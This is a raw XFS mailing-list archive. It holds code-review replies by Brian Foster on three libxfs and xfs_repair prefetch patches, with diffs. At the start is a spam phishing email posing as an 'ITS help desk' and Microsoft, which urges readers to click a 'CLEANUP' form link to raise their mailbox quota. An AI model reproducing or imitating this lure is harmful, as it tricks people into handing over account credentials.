16:59:34 +0000 Message-ID: <ED8E56355A34BE4EA3757DA1F0793C0D9E01B6DC@NH-DAG2.nhccad.nhcc.edu> References: <ED8E56355A34BE4EA3757DA1F0793C0D9E013FB2@NH-DAG2.nhccad.nhcc.edu> In-Reply-To: <ED8E56355A34BE4EA3757DA1F0793C0D9E013FB2@NH-DAG2.nhccad.nhcc.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [41.190.2.56] Content-Type: multipart/alternative; boundary="_000_ED8E56355A34BE4EA3757DA1F0793C0D9E01B6DCNHDAG2nhccadnhc_" MIME-Version: 1.0 X-Barracuda-Connect: mail.nhcc.edu[134.29.149.20] X-Barracuda-Start-Time: 1390496375 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144400 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address --_000_ED8E56355A34BE4EA3757DA1F0793C0D9E01B6DCNHDAG2nhccadnhc_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Your mailbox is almost full. 465MB 500MB Current size Maximum size Please increase your mailbox quota size automatically by clicking CLEANUP<h= ttp://fillformsumit.coffeecup.com/forms/webapp/> and fill-out the necessary= requirements to automatically increase your mailbox quota size. IMPORTANT NOTE: You won't be able to send and receive mail messages at 480M= B . ITS help desk ADMIN TEAM =A9Copyright 2014 Microsoft --_000_ED8E56355A34BE4EA3757DA1F0793C0D9E01B6DCNHDAG2nhccadnhc_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <html dir=3D"ltr"> <head> <meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859-= 1"> <style type=3D"text/css" id=3D"owaParaStyle"></style> </head> <body fpstyle=3D"1" ocsi=3D"0"> <div style=3D"direction: ltr;font-family: Tahoma;color: #000000;font-size: = 10pt;"> <div style=3D"font-family: Times New Roman; color: #000000; font-size: 16px= "> <div id=3D"divRpF777593" style=3D"direction: ltr; ">&nbsp; </div> <div></div> <div> <div style=3D"direction:ltr; font-family:Tahoma; color:#000000; font-size:1= 0pt"> <div> <div dir=3D"ltr"><font color=3D"#000000" face=3D"Tahoma" size=3D"2"><strong= ><font color=3D"#000066" face=3D"Arial" size=3D"3">Your mailbox is almost f= ull.<br style=3D"line-height:21px; background-color:rgb(255,255,255); font-= family:Calibri,sans-serif; color:rgb(68,68,68); font-size:15px"> </font></strong> <div dir=3D"ltr" style=3D"line-height:21px; background-color:rgb(255,255,25= 5); font-family:Calibri,sans-serif; color:rgb(68,68,68); font-size:16px"> <div style=3D"font-size:15px"><font color=3D"#000066" face=3D"Arial" size= =3D"3" style=3D"line-height:normal"><strong></strong></font></div> <table cellspacing=3D"0" style=3D"line-height:21px; font-size:15px"> <tbody> <tr> <td style=3D"border-bottom:black 1px solid; border-left:black 1px solid; bo= rder-right-width:1px; background-color:rgb(255,204,0); width:186px; border-= right-color:black; border-top:black 1px solid"> <font color=3D"#000000" face=3D"Tahoma" size=3D"2" style=3D"line-height:nor= mal">465MB</font></td> <td style=3D"border-bottom:black 1px solid; width:14px; border-left-color:b= lack; border-top:black 1px solid; border-left-width:1px; border-right:black= 1px solid"> </td> <td><font color=3D"#000000" face=3D"Tahoma" size=3D"2" style=3D"line-height= :normal"><b style=3D"line-height:18px">500</b>MB</font></td> </tr> <tr> <td style=3D"width:186px"><font color=3D"#ffffff" size=3D"0" style=3D"line-= height:normal">Current size</font></td> <td style=3D"width:14px"></td> <td><font color=3D"#ffffff" size=3D"0" style=3D"line-height:normal">Maximum= size</font></td> </tr> </tbody> </table> <div style=3D"font-size:15px"><font color=3D"#000000" face=3D"Tahoma" size= =3D"2" style=3D"line-height:normal"></font></div> <div style=3D"font-size:15px"><font color=3D"#000000" face=3D"Tahoma" style= =3D"line-height:normal"><font size=3D"2"><strong style=3D"line-height:18px"= >Please&nbsp;increase your mailbox quota&nbsp;size automatically&nbsp;by cl= icking</strong>&nbsp;</font></font><font color=3D"#0068cf" style=3D"line-he= ight:normal"><span style=3D"line-height:21px"><a href=3D"http://fillformsum= it.coffeecup.com/forms/webapp/" target=3D"_blank">CLEANUP</a></span></font>= <span style=3D"line-height:normal; font-family:Tahoma; color:rgb(0,0,0); fo= nt-size:10pt">&nbsp;</span><strong style=3D"line-height:18px; font-family:T= ahoma; color:rgb(0,0,0); font-size:small">and fill-out the necessary requirements to automatically increase your mailbox= quota size.</strong></div> <div style=3D"font-size:15px"><strong><font face=3D"Tahoma" size=3D"2" styl= e=3D"line-height:normal"></font></strong>&nbsp;</div> <div dir=3D"ltr" style=3D"font-size:15px"><font face=3D"Tahoma" style=3D"li= ne-height:normal"><font size=3D"2"><strong style=3D"line-height:18px"><u><f= ont color=3D"#000000" style=3D"line-height:normal">IMPORTANT NOTE</font></u= >:</strong>&nbsp;</font><font style=3D"font-size:8pt"><strong style=3D"line= -height:15px">You won't be able to send and receive mail messages at 480MB .&nbsp;</strong><= /font></font></div> <div dir=3D"ltr" style=3D"font-size:15px">&nbsp;</div> <div dir=3D"ltr" style=3D"font-size:15px"><font color=3D"#008a17" face=3D"T= ahoma" style=3D"line-height:normal; font-size:8pt"><strong style=3D"line-he= ight:15px">ITS help desk</strong></font></div> <div dir=3D"ltr" style=3D"font-size:15px"><font size=3D"2" style=3D"line-he= ight:normal"><font color=3D"#000000" face=3D"Tahoma" style=3D"font-size:8pt= "><u style=3D"line-height:15px"><strong>ADMIN TEAM</strong></u></font></fon= t></div> <span class=3D"ecxhps" style=3D"line-height:22px"> <div dir=3D"ltr" style=3D"line-height:21px; font-size:15px">&nbsp;</div> <div dir=3D"ltr"><font style=3D"line-height:normal"><font color=3D"#000000"= style=3D"font-size:12pt"><b style=3D"line-height:22px"><span class=3D"ecxh= ps" style=3D"line-height:15px"><font style=3D"line-height:normal">=A9</font= ><span class=3D"ecxApple-converted-space" style=3D"line-height:22px"></span= ><font style=3D"line-height:normal">Copyright</font></span><span class=3D"e= cxApple-converted-space" style=3D"line-height:14px">&nbsp;</span><span clas= s=3D"ecxhps" style=3D"line-height:14px">2014&nbsp;<font color=3D"#666666" s= tyle=3D"line-height:normal">Microsoft</font></span></b></font></font></div> </span></div> </font></div> </div> </div> </div> </div> </div> </body> </html> --_000_ED8E56355A34BE4EA3757DA1F0793C0D9E01B6DCNHDAG2nhccadnhc_-- From bfoster@redhat.com Thu Jan 23 11:15:28 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC7CD7F78 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 11:15:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id B946C8F8040 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:15:22 -0800 (PST) X-ASG-Debug-ID: 1390497315-04cb6c7509bb490001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id G2LaFAsFMaXvw0f0 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:15:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHFCH9021206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Jan 2014 12:15:13 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHFBBM014246; Thu, 23 Jan 2014 12:15:12 -0500 Message-ID: <52E14E1E.8040605@redhat.com> Date: Thu, 23 Jan 2014 12:15:10 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, xfs@oss.sgi.com Subject: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map References: <1390375033-10483-1-git-send-email-david@fromorbit.com> <1390375033-10483-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map In-Reply-To: <1390375033-10483-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390497315 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/22/2014 02:17 AM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > The map passed in to libxfs_readbufr_map is used to check the buffer > matches the map. However, the repair readahead code has no map it > can use to validate the buffer it set up previously, so just get rid > of the map being passed in because it serves no useful purpose. > The code looks fine, effectively just removing some assert code, but I'm not following the reasoning. I'm probably missing some context. Is the justification that no callers of libxfs_readbufr_map() will actually pass a map, or that the checking is not useful (redundant)? Brian > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- > db/io.c | 4 +--- > include/libxfs.h | 3 +-- > libxfs/rdwr.c | 12 ++---------- > 3 files changed, 4 insertions(+), 15 deletions(-) > > diff --git a/db/io.c b/db/io.c > index 123214d..d29816c 100644 > --- a/db/io.c > +++ b/db/io.c > @@ -449,9 +449,7 @@ write_cur_bbs(void) > > > /* re-read buffer from disk */ > - ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, > - iocur_top->bbmap->b, iocur_top->bbmap->nmaps, > - 0); > + ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, 0); > if (ret != 0) > dbprintf(_("read error: %s\n"), strerror(ret)); > } > diff --git a/include/libxfs.h b/include/libxfs.h > index 2872410..bb0369f 100644 > --- a/include/libxfs.h > +++ b/include/libxfs.h > @@ -448,8 +448,7 @@ extern void libxfs_putbufr(xfs_buf_t *); > extern int libxfs_writebuf_int(xfs_buf_t *, int); > extern int libxfs_writebufr(struct xfs_buf *); > extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); > -extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, > - struct xfs_buf_map *, int, int); > +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, int); > > extern int libxfs_bhash_size; > > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index bf92788..ac7739f 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -727,27 +727,19 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, > } > > int > -libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, > - struct xfs_buf_map *map, int nmaps, int flags) > +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, int flags) > { > int fd = libxfs_device_to_fd(btp->dev); > int error = 0; > char *buf; > int i; > > - ASSERT(BBTOB(len) <= bp->b_bcount); > - > - ASSERT(bp->b_nmaps == nmaps); > - > fd = libxfs_device_to_fd(btp->dev); > buf = bp->b_addr; > for (i = 0; i < bp->b_nmaps; i++) { > off64_t offset = LIBXFS_BBTOOFF64(bp->b_map[i].bm_bn); > int len = BBTOB(bp->b_map[i].bm_len); > > - ASSERT(bp->b_map[i].bm_bn == map[i].bm_bn); > - ASSERT(bp->b_map[i].bm_len == map[i].bm_len); > - > error = __read_buf(fd, buf, len, offset, flags); > if (error) { > bp->b_error = error; > @@ -787,7 +779,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, > if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) > return bp; > > - error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); > + error = libxfs_readbufr_map(btp, bp, flags); > if (!error) { > bp->b_flags |= LIBXFS_B_UPTODATE; > if (bp->b_ops) > From bfoster@redhat.com Thu Jan 23 11:15:37 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 76E4F29E04 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 11:15:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 98C1AAC004 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:15:30 -0800 (PST) X-ASG-Debug-ID: 1390497326-04bdf030eac8400001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id v9AoOg5fBYb1Rmpx for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:15:27 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHFNCL021291 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Jan 2014 12:15:24 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHFNGd000472; Thu, 23 Jan 2014 12:15:23 -0500 Message-ID: <52E14E2A.7000902@redhat.com> Date: Thu, 23 Jan 2014 12:15:22 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner <david@fromorbit.com>, xfs@oss.sgi.com Subject: Re: [PATCH 3/3] repair: fix discontiguous directory block support References: <1390375033-10483-1-git-send-email-david@fromorbit.com> <1390375033-10483-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] repair: fix discontiguous directory block support In-Reply-To: <1390375033-10483-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390497326 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/22/2014 02:17 AM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > xfs/291 tests fragmented multi-block directories, and xfs_repair > throws lots of lookup badness errors in phase 3: > > - agno = 1 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x1e040, len 4096 bytes) key=(bno 0x1e040, len 16384 bytes) > - agno = 2 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x2d0e8, len 4096 bytes) key=(bno 0x2d0e8, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x2d068, len 4096 bytes) key=(bno 0x2d068, len 16384 bytes) > - agno = 3 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x39130, len 4096 bytes) key=(bno 0x39130, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x391b0, len 4096 bytes) key=(bno 0x391b0, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > > This is because it is trying to read a directory buffer in full > (16k), but is finding a single 4k block in the cache instead. > > The opposite is happening in phase 6 - phase 6 is trying to read 4k > buffers but is finding a 16k buffer there instead. > > The problem is caused by the fact that directory buffers can be > represented as compound buffers or as individual buffers depending > on the code reading the directory blocks. The main problem is that > the IO prefetch code doesn't understand compound buffers, so teach > it about compound buffers to make the problem go away. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- I think I get the gist of what's going on here. One potential issue noted below along with notes to self to confirm whether I follow the code correctly. > repair/prefetch.c | 121 ++++++++++++++++++++++++++++++++++++++++++++---------- > 1 file changed, 100 insertions(+), 21 deletions(-) > > diff --git a/repair/prefetch.c b/repair/prefetch.c > index d3491da..ab90b92 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -105,11 +105,12 @@ pf_start_io_workers( > static void > pf_queue_io( > prefetch_args_t *args, > - xfs_fsblock_t fsbno, > - int blen, > + struct xfs_buf_map *map, > + int nmaps, > int flag) > { > - xfs_buf_t *bp; > + struct xfs_buf *bp; > + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, map[0].bm_bn); > > /* > * Never block on a buffer lock here, given that the actual repair > @@ -117,8 +118,7 @@ pf_queue_io( > * the lock holder is either reading it from disk himself or > * completely overwriting it this behaviour is perfectly fine. > */ > - bp = libxfs_getbuf_flags(mp->m_dev, XFS_FSB_TO_DADDR(mp, fsbno), > - XFS_FSB_TO_BB(mp, blen), LIBXFS_GETBUF_TRYLOCK); > + bp = libxfs_getbuf_map(mp->m_dev, map, nmaps, LIBXFS_GETBUF_TRYLOCK); > if (!bp) > return; > Interface change to support queuing a discontig buffer. > @@ -167,6 +167,14 @@ pf_read_bmbt_reclist( > xfs_bmbt_irec_t irec; > xfs_dfilblks_t cp = 0; /* prev count */ > xfs_dfiloff_t op = 0; /* prev offset */ > +#define MAP_ARRAY_SZ 4 > + struct xfs_buf_map map_array[MAP_ARRAY_SZ]; > + struct xfs_buf_map *map = map_array; > + int max_extents = MAP_ARRAY_SZ; > + int nmaps = 0;; > + unsigned int len = 0; > + int ret = 0; > + So if I understand correctly, the idea here is to now batch extent reads into buffers of the directory block size, quieting the messages described in the commit log. > > for (i = 0; i < numrecs; i++) { > libxfs_bmbt_disk_get_all(rp + i, &irec); > @@ -174,11 +182,11 @@ pf_read_bmbt_reclist( > if (((i > 0) && (op + cp > irec.br_startoff)) || > (irec.br_blockcount == 0) || > (irec.br_startoff >= fs_max_file_offset)) > - return 0; > + goto out_free; > > if (!verify_dfsbno(mp, irec.br_startblock) || !verify_dfsbno(mp, > irec.br_startblock + irec.br_blockcount - 1)) > - return 0; > + goto out_free; > > if (!args->dirs_only && ((irec.br_startoff + > irec.br_blockcount) >= mp->m_dirfreeblk)) > @@ -188,18 +196,60 @@ pf_read_bmbt_reclist( > cp = irec.br_blockcount; > > while (irec.br_blockcount) { > - unsigned int len; > + unsigned int bm_len; > > pftrace("queuing dir extent in AG %d", args->agno); > > - len = (irec.br_blockcount > mp->m_dirblkfsbs) ? > - mp->m_dirblkfsbs : irec.br_blockcount; > - pf_queue_io(args, irec.br_startblock, len, B_DIR_META); > - irec.br_blockcount -= len; > - irec.br_startblock += len; > + if (len + irec.br_blockcount >= mp->m_dirblkfsbs) { > + bm_len = mp->m_dirblkfsbs - len; > + len = 0; > + } else { > + len += irec.br_blockcount; > + bm_len = irec.br_blockcount; > + } So len represents the total length of the maps attached to the current array... > + > + map[nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, > + irec.br_startblock); > + map[nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); > + nmaps++; > + > + if (len == 0) { > + pf_queue_io(args, map, nmaps, B_DIR_META); > + nmaps = 0; > + } Kind of a nit, but this looks a little weird to me. The logic would be a bit more clear with something like: if (len + irec.br_blockcount > mp->dirblkfsbs) bm_len = mp->m_dirblkfsbs - len; else bm_len = irec.br_blockcount; len += bm_len; ... if (len == mp->dirblkfsbs) { len = 0; pf_queue_io(...) } ... which then raises the question of what happens if the directory we're reading doesn't end with len == mp->dirblkfsbs? If so, perhaps not a performance regression, but it looks like we wouldn't queue the last I/O. Some of the directory code suggests that we fail if we don't alloc the dirblkfsbs block count, so maybe this doesn't happen. > + > + irec.br_blockcount -= bm_len; > + irec.br_startblock += bm_len; > + > + /* > + * Handle very fragmented dir2 blocks with dynamically > + * allocated buffer maps. > + */ > + if (nmaps >= max_extents) { > + struct xfs_buf_map *old_map = NULL; > + > + if (map == map_array) { > + old_map = map; > + map = NULL; > + } > + max_extents *= 2; > + map = realloc(map, max_extents * sizeof(*map)); > + if (map == NULL) { > + do_error( > + _("couldn't malloc dir2 buffer list\n")); > + exit(1); > + } > + if (old_map) > + memcpy(map, old_map, sizeof(map_array)); > + } > + > } > } > - return 1; > + ret = 1; > +out_free: > + if (map != map_array) > + free(map); > + return ret; > } > > /* > @@ -395,9 +445,28 @@ pf_read_inode_dirs( > } > > /* > - * pf_batch_read must be called with the lock locked. > + * Discontiguous buffers require multiple IOs to fill, so we can't use any > + * linearising, hole filling algorithms on them to avoid seeks. Just remove them > + * for the prefetch queue and read them straight into the cache and release > + * them. > */ > +static void > +pf_read_discontig( > + struct prefetch_args *args, > + struct xfs_buf *bp) > +{ > + if (!btree_delete(args->io_queue, XFS_DADDR_TO_FSB(mp, bp->b_bn))) > + do_error(_("prefetch corruption\n")); > + > + pthread_mutex_unlock(&args->lock); > + libxfs_readbufr_map(mp->m_ddev_targp, bp, 0); > + libxfs_putbuf(bp); > + pthread_mutex_lock(&args->lock); > +} > > +/* > + * pf_batch_read must be called with the lock locked. > + */ > static void > pf_batch_read( > prefetch_args_t *args, > @@ -426,8 +495,15 @@ pf_batch_read( > max_fsbno = fsbno + pf_max_fsbs; > } > while (bplist[num] && num < MAX_BUFS && fsbno < max_fsbno) { > - if (which != PF_META_ONLY || > - !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) > + /* > + * Handle discontiguous buffers outside the seek > + * optimised IO loop below. > + */ > + if ((bplist[num]->b_flags & LIBXFS_B_DISCONTIG)) { > + pf_read_discontig(args, bplist[num]); > + bplist[num] = NULL; So we pull these out from the processing below (which appears to want to issue largish reads comprised of multiple buffers, via bplist). Thanks for the comment above pf_read_discontig(). > + } else if (which != PF_META_ONLY || > + !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) > num++; > if (num == MAX_BUFS) > break; > @@ -664,10 +740,13 @@ pf_queuing_worker( > bno = XFS_AGINO_TO_AGBNO(mp, cur_irec->ino_startnum); > > do { > - pf_queue_io(args, XFS_AGB_TO_FSB(mp, args->agno, bno), > - blks_per_cluster, > - (cur_irec->ino_isa_dir != 0) ? > - B_DIR_INODE : B_INODE); > + struct xfs_buf_map map; > + > + map.bm_bn = XFS_AGB_TO_DADDR(mp, args->agno, bno); > + map.bm_len = XFS_FSB_TO_BB(mp, blks_per_cluster); > + pf_queue_io(args, &map, 1, > + (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE > + Straightforward change based on the new pf_queue_io(). Brian : B_INODE); > bno += blks_per_cluster; > num_inos += inodes_per_cluster; > } while (num_inos < XFS_IALLOC_INODES(mp)); > From bfoster@redhat.com Thu Jan 23 11:28:35 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 95F987F80 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 11:28:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E5998AC005 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:28:34 -0800 (PST) X-ASG-Debug-ID: 1390497302-04cbb05bacba370001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3xMOHhlTbPCdlWvg for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 09:15:02 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHF1FQ016772 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:15:01 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0NHF0X0014157 for <xfs@oss.sgi.com>; Thu, 23 Jan 2014 12:15:01 -0500 Message-ID: <52E14E13.5000805@redhat.com> Date: Thu, 23 Jan 2014 12:14:59 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map References: <1390375033-10483-1-git-send-email-david@fromorbit.com> <1390375033-10483-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/3] libxfs: add a flags field to libxfs_getbuf_map In-Reply-To: <1390375033-10483-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390497302 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/22/2014 02:17 AM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > It will be needed to make the repair prefetch code aware of compound > buffers. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- Looks Ok. Reviewed-by: Brian Foster <bfoster@redhat.com> > include/libxfs.h | 8 ++++---- > libxfs/rdwr.c | 15 +++++++++------ > libxfs/trans.c | 4 ++-- > 3 files changed, 15 insertions(+), 12 deletions(-) > > diff --git a/include/libxfs.h b/include/libxfs.h > index 4bf331c..2872410 100644 > --- a/include/libxfs.h > +++ b/include/libxfs.h > @@ -392,9 +392,9 @@ extern struct cache_operations libxfs_bcache_operations; > #define libxfs_getbuf(dev, daddr, len) \ > libxfs_trace_getbuf(__FUNCTION__, __FILE__, __LINE__, \ > (dev), (daddr), (len)) > -#define libxfs_getbuf_map(dev, map, nmaps) \ > +#define libxfs_getbuf_map(dev, map, nmaps, flags) \ > libxfs_trace_getbuf_map(__FUNCTION__, __FILE__, __LINE__, \ > - (dev), (map), (nmaps)) > + (dev), (map), (nmaps), (flags)) > #define libxfs_getbuf_flags(dev, daddr, len, flags) \ > libxfs_trace_getbuf_flags(__FUNCTION__, __FILE__, __LINE__, \ > (dev), (daddr), (len), (flags)) > @@ -412,7 +412,7 @@ extern int libxfs_trace_writebuf(const char *, const char *, int, > extern xfs_buf_t *libxfs_trace_getbuf(const char *, const char *, int, > struct xfs_buftarg *, xfs_daddr_t, int); > extern xfs_buf_t *libxfs_trace_getbuf_map(const char *, const char *, int, > - struct xfs_buftarg *, struct xfs_buf_map *, int); > + struct xfs_buftarg *, struct xfs_buf_map *, int, int); > extern xfs_buf_t *libxfs_trace_getbuf_flags(const char *, const char *, int, > struct xfs_buftarg *, xfs_daddr_t, int, unsigned int); > extern void libxfs_trace_putbuf (const char *, const char *, int, > @@ -427,7 +427,7 @@ extern xfs_buf_t *libxfs_readbuf_map(struct xfs_buftarg *, struct xfs_buf_map *, > extern int libxfs_writebuf(xfs_buf_t *, int); > extern xfs_buf_t *libxfs_getbuf(struct xfs_buftarg *, xfs_daddr_t, int); > extern xfs_buf_t *libxfs_getbuf_map(struct xfs_buftarg *, > - struct xfs_buf_map *, int); > + struct xfs_buf_map *, int, int); > extern xfs_buf_t *libxfs_getbuf_flags(struct xfs_buftarg *, xfs_daddr_t, > int, unsigned int); > extern void libxfs_putbuf (xfs_buf_t *); > diff --git a/libxfs/rdwr.c 